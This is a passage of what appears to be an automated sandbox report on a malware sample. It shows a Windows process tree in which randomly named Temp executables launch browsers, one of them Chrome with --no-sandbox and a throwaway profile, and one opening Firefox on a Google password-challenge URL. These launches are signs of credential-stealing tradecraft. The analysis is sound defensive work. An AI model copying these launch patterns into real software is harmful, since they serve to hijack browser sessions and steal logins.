        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5668,i,11202214157864335157,304218968129549263,2097152 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
        5⤵
        
        PID:11856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,18348879386102989988,1627216030232020491,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
        5⤵
        
        PID:12012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,10393913189888529745,5241930113451004070,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:12
        5⤵
        
        PID:8824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,17272153332706876626,2603428293082302354,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
        5⤵
        
        PID:11044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,1819925614192096927,17105012232278774533,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:14
        5⤵
        
        PID:12052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,3351698175102441292,5559313877811055350,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
        5⤵
        
        PID:10352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6260,i,10992416551789244706,2527391821768561233,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:14
        5⤵
        
        PID:12852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6260,i,10992416551789244706,2527391821768561233,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:14
        5⤵
        
        PID:2340
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,16085221771159322412,7081048651952217966,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
        5⤵
        
        PID:13068
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
      4⤵
      PID:8792
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
        5⤵
        
        PID:9108
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1960 -prefsLen 27097 -prefMapHandle 1964 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {01a0237d-dd78-4d3a-ae1e-b22a70f13835} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:9624
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2448 -prefsLen 27133 -prefMapHandle 2452 -prefMapSize 270279 -ipcHandle 2460 -initialChannelId {6ceda6af-e8bb-4dca-90f9-3b6562ef80f4} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:9928
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3788 -prefsLen 25213 -prefMapHandle 3792 -prefMapSize 270279 -jsInitHandle 3796 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3804 -initialChannelId {c859561e-613f-40c5-b882-284ca73ef511} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        
        PID:9968
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4036 -prefsLen 27323 -prefMapHandle 4040 -prefMapSize 270279 -ipcHandle 4104 -initialChannelId {34cb8b0e-2756-4c7c-a990-dc373b00ef67} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:10036
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3404 -prefsLen 34822 -prefMapHandle 2784 -prefMapSize 270279 -jsInitHandle 3396 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1520 -initialChannelId {33614813-c6b4-456e-bfd0-3b76de026af5} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:10256
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4896 -prefsLen 34903 -prefMapHandle 4716 -prefMapSize 270279 -ipcHandle 5300 -initialChannelId {82567d8c-7ebb-473c-87f8-f45e3a017ea8} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        
        PID:11608
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2600 -prefsLen 32952 -prefMapHandle 5532 -prefMapSize 270279 -jsInitHandle 5536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1656 -initialChannelId {bafec348-fe48-4c62-b97a-eb141fa3760d} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        
        PID:9640
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5804 -prefsLen 32952 -prefMapHandle 5808 -prefMapSize 270279 -jsInitHandle 5812 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5820 -initialChannelId {c96457f0-df8b-4639-9e52-73c4d438892e} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        
        PID:11972
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5992 -prefsLen 32952 -prefMapHandle 5996 -prefMapSize 270279 -jsInitHandle 6000 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6008 -initialChannelId {964984de-0643-4a45-bd7d-253213eabae3} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        
        PID:11992
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2600 -prefsLen 32952 -prefMapHandle 5532 -prefMapSize 270279 -jsInitHandle 5536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5504 -initialChannelId {18dd4c43-6673-4f1c-a7a3-8bb20195c7a0} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        
        PID:11824
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6616 -prefsLen 33002 -prefMapHandle 6456 -prefMapSize 270279 -jsInitHandle 6384 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6424 -initialChannelId {a4410124-961c-4fdc-8de6-ccf4cf512960} -parentPid 9108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.9108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        
        PID:8672
- - C:\Users\Admin\AppData\Local\Temp\12528090101\Et5cbkQ.exe
    "C:\Users\Admin\AppData\Local\Temp\12528090101\Et5cbkQ.exe"
    3⤵
    PID:9368
- - C:\Users\Admin\AppData\Local\Temp\12528100101\M94scZj.exe
    "C:\Users\Admin\AppData\Local\Temp\12528100101\M94scZj.exe"
    3⤵
    PID:9044
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      PID:10300
- - C:\Users\Admin\AppData\Local\Temp\12528110101\KAQ8PQ5.exe
    "C:\Users\Admin\AppData\Local\Temp\12528110101\KAQ8PQ5.exe"
    3⤵
    PID:12168
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
      4⤵
      PID:12628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xdc,0x12c,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:7728
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
      4⤵
      PID:8468
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:10204
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1916,i,1567140214606488849,15013914354278342378,524288 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:10416
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,16864384484150052160,3654516500437539714,262144 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:2
        5⤵
        
        PID:10960
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1976,i,17663579610483709776,13989501832463950008,524288 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:13
        5⤵
        
        PID:428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3268,i,2919991087483006966,16364399891111055945,2097152 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
        5⤵
        
        PID:11948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3312,i,494160117859687419,2041127603642869500,2097152 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:1
        5⤵
        
        PID:9460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4372,i,9636847408826043325,8218295623843026247,2097152 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:9
        5⤵
        
        PID:11284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4332,i,15899697148851563915,11632886630296173993,2097152 --field-trial-handle=2396,i,7012615318871914521,17312920460939321634,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:9
        5⤵
        
        PID:12668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
      4⤵
      PID:9916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x338,0x33c,0x340,0x334,0x3b4,0x7ffdd15cc188,0x7ffdd15cc194,0x7ffdd15cc1a0
        5⤵
        
        PID:9468
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1984,i,8611914091724211117,2692177617655217045,524288 --field-trial-handle=2784,i,13804451810223408716,5439344696049721560,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8224
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1892,i,8218422740921935157,8764312748726201324,262144 --field-trial-handle=2784,i,13804451810223408716,5439344696049721560,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:2
        5⤵
        
        PID:8972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2272,i,6996243248820255569,2449599615161625038,524288 --field-trial-handle=2784,i,13804451810223408716,5439344696049721560,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:13
        5⤵
        
        PID:13104
- - C:\Users\Admin\AppData\Local\Temp\12528120101\10fd72c572.exe
    "C:\Users\Admin\AppData\Local\Temp\12528120101\10fd72c572.exe"
    3⤵
    PID:4284
- - C:\Users\Admin\AppData\Local\Temp\12528130101\BgAtGH0.exe
    "C:\Users\Admin\AppData\Local\Temp\12528130101\BgAtGH0.exe"
    3⤵
    PID:7864
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:6748
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:11128
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:9964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:12088
- - C:\Users\Admin\AppData\Local\Temp\12528140101\ltjL6cP.exe
    "C:\Users\Admin\AppData\Local\Temp\12528140101\ltjL6cP.exe"
    3⤵
    PID:9856
- - C:\Users\Admin\AppData\Local\Temp\12528150101\ODdofh9.exe
    "C:\Users\Admin\AppData\Local\Temp\12528150101\ODdofh9.exe"
    3⤵
    PID:9588
- - C:\Users\Admin\AppData\Local\Temp\12528160101\X8cqVrA.exe
    "C:\Users\Admin\AppData\Local\Temp\12528160101\X8cqVrA.exe"
    3⤵
    PID:4448
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq"
      4⤵
      PID:592
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xa0,0x10c,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:5676
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1940,i,14447918732896771048,14084385254265156975,262144 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=2820 /prefetch:2
        5⤵
        
        PID:11320
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2160,i,13550596722574715362,1907902835557120683,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8312
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2260,i,10569900407916561606,10291352047146277496,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:13
        5⤵
        
        PID:11496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3284,i,16261135223778919265,10328884360915719655,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:1
        5⤵
        
        PID:12336
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3296,i,10699852086692284647,12935466698981332344,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:1
        5⤵
        
        PID:9996
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3544,i,8833888633397024287,3731688843833802378,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:1
        5⤵
        
        PID:5504
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3556,i,16048934951279730953,9987668205139147383,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:9
        5⤵
        
        PID:9408
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4212,i,2406177563666543669,13099575155898566644,2097152 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:9
        5⤵
        
        PID:12440
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2mwsbyuc.naq" --force-high-res-timeticks=disabled --metrics-shmem-handle=3536,i,18072899333194962135,5991051106803981969,524288 --field-trial-handle=2824,i,2843777076217148562,8988322195137604010,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:14
        5⤵
        
        PID:12508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
